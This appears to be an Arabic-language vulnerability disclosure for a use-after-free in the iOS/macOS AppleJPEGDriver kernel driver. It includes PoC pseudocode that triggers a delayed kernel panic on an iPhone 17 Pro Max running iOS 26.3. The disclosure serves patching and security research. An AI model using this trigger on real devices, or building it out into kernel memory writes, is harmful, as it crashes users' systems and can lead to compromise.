
CVE-2026-20687: ثغرة انتهاء المهلة في startDecoder في AppleJPEGDriver تؤدي إلى استخدام بعد التحرير (UAF) — ثغرة في نواة iOS/macOS تؤدي إلى ذعر مؤجل (A19 Pro، iOS 26.3 RC)
CVE-2026-20687 | المؤلف: Johnny Franks (@0xjohnny)
المكوّن: النواة (Kernel)
التأثير: قد يتمكن تطبيق من التسبب في إنهاء غير متوقع للنظام أو الكتابة في ذاكرة النواة
الوصف: تمت معالجة مشكلة استخدام الذاكرة بعد تحريرها (use after free) عبر تحسين إدارة الذاكرة.
سيؤدي هذا إلى kernel panic على جهازك. احفظ عملك.
تم الاختبار على iOS 26.3 (23D125) على iPhone18,2 (iPhone 17 Pro Max، A19 Pro).
التشغيل المباشر:
// PoC: primes the driver; panic is usually deferred until Camera is opened.
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
startDecoder_async(); // queue_io_gated(): vector.push(req + 0x78)
}
IOServiceClose(conn);
// Later, opening Camera triggers:
startDecoder_sync();
queue_io_gated(): vector.push(req + 0x78);
wait(10s) -> TIMEOUT;
pool_free(req); // BUG: does NOT dequeue (req + 0x78)
// Later still (finish_io_gated):
fullSpeedRequestExist():
node_ptr = vector[i]; // stale: node_ptr == (freed req + 0x78)
req2 = *(node_ptr + 0x8); // UAF read of req+0x80 -> MTE tag fault -> panic
ios-app/Test.xcodeproj في Xcode